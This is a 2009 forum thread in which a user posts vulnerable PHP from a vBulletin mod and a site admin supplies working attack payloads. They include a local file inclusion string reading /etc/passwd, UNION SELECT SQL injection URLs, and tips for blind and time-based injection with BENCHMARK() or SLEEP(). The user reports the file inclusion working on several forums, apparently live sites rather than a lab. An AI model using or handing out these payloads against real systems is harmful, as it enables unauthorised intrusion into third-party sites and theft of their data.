Posted: Wed Jan 14, 2009 1:40 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu More info needed - input parameters. There can be blind sql injection or maybe even LFI or RFI, but without additional info we can't help you. Posted: Wed Jan 14, 2009 3:23 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 I don't think it's RFI or LFI. It's a vbulletin MOD. This send information to the database. Ex.: http://site.com/forum/file.php?form=9,blabla,http It uses explodes as you can see in the code: Code: $the_target = explode(",",$the_target); and send to these vars... Code: $forum = $the_target[0]; $formulario = $the_target[1]; $links = $the_target[2]; and then comes the query: Code: $sqlSecure="select id from ".TABLE_PREFIX."up_grupos where forumid = '".$forum."'".( ($membroNormal)?" and `permissoes`='livre'":"" ); $qrySecure = mysql_query($sqlSecure) So, teorically i should do that: http://site.com/forum/file.php?form=SQL INJECTION CODE,blabla,http Sry for my poor english and thanks in advance for the help. Edited: Now i tried http://site.com/forum/file.php?form=9',blabla,http as i said before and got only this: Code: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [path]/file.php on line 204 [/i] No other errors And i forgot to thell that he gets the $formulario and do this in other line of the code: Code: include "folder/forms/".$formulario.".php"; That's the reason i' was getting the 2 include errors... Sooo... That helps now? Posted: Wed Jan 14, 2009 4:15 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu This can be LFI, try this: Code: http://site.com/forum/file.php?form=9,../../../../../../../../../../etc/passwd%00,http For sql injection try: Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+1--+,bla,http This is probably blind sql injection though. Can you post that MOD-s name? I can look @ src code and look for possible exploits Posted: Wed Jan 14, 2009 5:12 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 waraxe wrote: This can be LFI, try this: Code: http://site.com/forum/file.php?form=9,../../../../../../../../../../etc/passwd%00,http For sql injection try: Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+1--+,bla,http This is probably blind sql injection though.

I can look @ src code and look for possible exploits The LFI works fine(in some forums i get 403 or 406) xD I tried the sql injection Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http and no erros displayed. The problem now is how i can exploit the injection since can't use "," because of the explode :S The mod have 1 more sql injection bugged file that i found, can't give you the mod name now, but later maybe Thanks a lot for your help Posted: Wed Jan 14, 2009 7:16 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Yes, this can be tricky without ","-s. But you could probably use regular expressions (regexes) instead of ORD(SUBSTR(hash,2,1)) and CASE/WHERE/ELSE instead of IF(1,2,3). I'm not 100% sure about that, it needs testing Posted: Wed Jan 14, 2009 7:27 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 This will be very complicated T___T I think that's better to try the other file... Do you mind taking a look in the other file to see what can be done? If ok i will send to you via PM.

Look for response differences or as last resort use BENCHMARK() or SLEEP().
